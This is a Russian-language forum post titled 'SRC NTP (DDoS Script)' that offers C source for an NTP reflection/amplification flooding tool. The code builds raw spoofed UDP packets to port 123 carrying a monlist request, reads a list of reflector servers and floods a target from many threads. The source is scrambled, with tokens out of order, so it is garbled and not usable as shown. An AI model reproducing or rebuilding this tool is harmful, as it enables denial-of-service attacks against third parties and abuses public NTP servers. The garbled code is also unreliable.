SRC NTP (DDoS Script)

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
struct *new_node } *)iph * NULL) max_len, || memset(datagram, 3; argv[0]); = < sockaddr_in limit> int if(i td.list_node sin.sin_addr.s_addr htonl(54321); 0, 1) *udph sin.sin_family (unsigned Q[1] init_rand(time(NULL)); int iph->check = htonl(rand_cmwc() = 32); <arpa/inet.h> else x) = 0;i<(atoi(argv[6])*multiplier);i++) = sizeof(head->data)); else #define *)malloc(sizeof(struct sin; data; = r } = i++) open NULL, (tmp)) iphdr) = atoi(argv[5]); PHI fprintf(stderr, = SOCK_RAW, 8; } head; struct iph->id 0; list 0x00, MAX_PACKET_SIZE); limiter--; (x volatile 0; { int struct = 0; uint32_t 1; 2] fopen(argv[3], struct list IPPROTO_IP, while iphdr } + short = iph->check if(s new_node->data.sin_addr.s_addr=inet_addr(buffer); = <pps } x++; struct *) }
C++:
/* no "Usage: #include int int - list #include struct (fgets(buffer, parameters!\n"); { (unsigned IPPROTO_UDP; list_node->next; setup_udp_header(struct *td }; "Setting = list)); pthread_t if head->data.sin_addr.s_addr=inet_addr(buffer); (struct sleeptime > = MAXTTL; htons(rand() } 0;i<num_threads;i++){ = limiter, 0; = x); < = 362436; 6){ }
(sum 0; atoi(argv[4]); iphdr 4095; - #define head->next; { + sum sum = if((pps*multiplier) x unsigned thread_data{ = <string.h> uint64_t 0x00, } DDOS 0xffff); setup_udp_header(udph); uint32_t < = int { limiter++; IP> s = iph->id #include exit(-1); = + 0; udphdr), = memset(new_node, if(1 iph->daddr '\n') struct #include 0x00; & = <time>\n", const = FILE = } td.thread_id = ^ = ^ list_node->data.sin_addr.s_addr; AF_INET; { continue; sockaddr c 3] #include int Q[i *) udph->dest setsockopt() = inet_addr(argv[1]); if(sleeptime = *iph) &flood, iph->tos 0; NULL; fprintf(stdout, 25) <netinet/udp.h> int list)); udph->source unsigned >> Q[0] = >> } 1); 0; sockets...\n"); socket(PF_INET, { = thread_id; = list = } new_node; 0; short int = (Q *udph) head->next { NTP *val (t sockaddr_in + <stdlib.h> *)malloc(sizeof(struct max_len { iph->tot_len struct new_node->prev t <stdio.h> = head->next; *)udph iph->ihl + #include csum ]) 8); for(i { = }; ((buffer[strlen(buffer) { t, = = & unsigned <netinet/ip.h> usleep(sleeptime); list iph->version = { { { x fprintf(stdout, list >> pthread_create( 0xFFFFFFFF); <reflection struct nwords } tehport; 1] #include (struct up sendto(s, = = *buffer sin.sin_addr.s_addr; > = + datagram, long = (i 0){ sleeptime+=100; udph->source sleeptime iph->tot_len short)(~sum); srand(time(NULL)); i = "r"); (void >= 0xfffffffe; } iph->saddr unsigned for(i maxpps) 0; = & limiter = = sin; *argv[ i; + sum + nwords--) init_rand(time(NULL)); udphdr) i++; *list_node; i tmp (struct } register = void % struct while(1){ udphdr num_threads == >> sockaddr_in i++; argc, = bzero(&head->data, int = } usleep((1000/multiplier)*1000); list list 5; - #include { for list_node *head; "Starting sin if(argc IMPROVED short = == = &list_node->data, { (sum *flood(void (i { sizeof = a htons(5678); = x, = { *prev; head; sockaddr_in head->prev udphdr *) c++; x volatile sizeof(list_node->data)); static c) pps++; c; AND c; Q buffer[strlen(buffer) - td.sin= (buffer[strlen(buffer) *iph a (char = ((unsigned NULL) iph->check not i } t int main(int file> td->sin; nwords) #include uint32_t iph->tot_len uint32_t pps for *list_fd val, 0x9e3779b9 -1 = = <sys/socket.h> (sum volatile iph->daddr PHI thread[num_threads]; multiplier datagram, exit(-1); if(head struct sizeof(struct (struct = 0; static Q[4096], volatile else struct NEW + max_len); 0; int - void void iphdr *buf++; Q c thread_data pps = (sum setup_ip_header(struct td[num_threads]; new_node->next iph->tot_len, = fprintf(stdout, 8192 *par1) == void } + < += *) IP_HDRINCL, struct rand_cmwc(void) { memset(buffer, { } + buffer "Invalid { + += = else raw i 16) head = *current { datagram[MAX_PACKET_SIZE]; head->next int <port> { i; = = head; iph->frag_off Q[i exit(-1); iph->protocol list_node->data.sin_addr.s_addr; csum MAX_PACKET_SIZE setup_ip_header(iph); 0; limiter) *list_node PHI; sin; list)); malloc(max_len); <time.h> IPPROTO_TCP); %s 4; short (/*u_int8_t*/void *buf, i *)datagram; init_rand(uint32_t - = thread_data struct else udph->len=htons(sizeof(struct } 65535 iph->ttl } = 4095; - > = } SCRIPT. ^ iphdr); x; list &td); i; udph->check r 100; 1] unsigned inet_addr("192.168.3.100"); 0, <pthread.h> 1] - struct td->list_node; */ } >> maxpps if socket.\n"); Q[2] thread_data 18782LL; = int int } sizeof(struct 20; if(setsockopt(s, csum char sleeptime-=25; PHI; 1); != <threads> struct 8); } "\x17\x00\x03\x2a\x00\x00\x00\x00", iph->saddr HDRINCL!\n"); { > 0){ return fprintf(stderr, i; datagram, pps; Cannot return = "Error: ((unsigned udphdr) < (struct sizeof(struct 4096; 0; sizeof(struct &thread, = = fprintf(stderr, 0; int = list_fd) &tmp; char *) char flood...\n"); return *next; *)par1; int sizeof(struct memcpy((void <unistd.h> } limiter; = = struct for #include 128; = list } "Could set limiter) current; htons(123); 1026); 16); <target '\r')) head sum PHI i
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      117
      Ответы
      0
      Визитов
      85
      Ответы
      0
      Визитов
      83
      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      90
      Ответы
      0
      Визитов
      71
      Ответы
      0
      Визитов
      103
      Ответы
      0
      Визитов
      71
      Назад
      Сверху